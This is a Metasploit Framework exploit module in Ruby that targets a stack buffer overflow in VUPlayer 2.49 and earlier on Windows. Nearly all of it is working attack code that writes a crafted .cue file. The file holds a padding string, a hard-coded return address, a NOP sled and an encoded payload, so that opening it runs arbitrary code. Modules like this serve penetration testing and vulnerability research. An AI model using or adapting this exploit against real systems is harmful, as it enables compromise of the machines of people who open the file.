### $Id: vuplayer_cue.rb 10998 2010-11-11 22:43:22Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,'Name' => 'VUPlayer CUE Buffer Overflow','Description'=> %q{
This module exploits a stack over flow in VUPlayer <= 2.49. When
the application is used to open a specially crafted cue file, an buffer is overwritten allowing
for the execution of arbitrary code.},'License'=> MSF_LICENSE,'Author' => ['MC'],'Version'=> '$Revision: 10998 $','References' =>
[['OSVDB','64581'],['BID','33960'],],'DefaultOptions' =>
{'EXITFUNC' => 'process','DisablePayloadHandler' => 'true',},'Payload'=>
{'Space'=> 750,'BadChars' => "\x00",'EncoderType' => Msf::Encoder::Type::AlphanumUpper,'DisableNops'=>'True',},'Platform' => 'win','Targets'=>
[['VUPlayer 2.49',{'Ret' => 0x1010539f }],],'Privileged' => false,'DisclosureDate' => 'Aug 18 2009','DefaultTarget'=> 0))
register_options([
OptString.new('FILENAME',[ false,'The file name.','msf.cue']),], self.class)end
def exploit
sploit =rand_text_alpha_upper(1012)
sploit << [target.ret].pack('V')
sploit << "\x90"* 12
sploit << payload.encoded
cue ="FILE ""\""
cue << sploit
cue << ".BIN""\""+" BINARY\r\n"
cue << "TRACK 01 MODE1/22352\r\n"
cue << "INDEX 01 00:00:00\r\n"
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(cue)endend
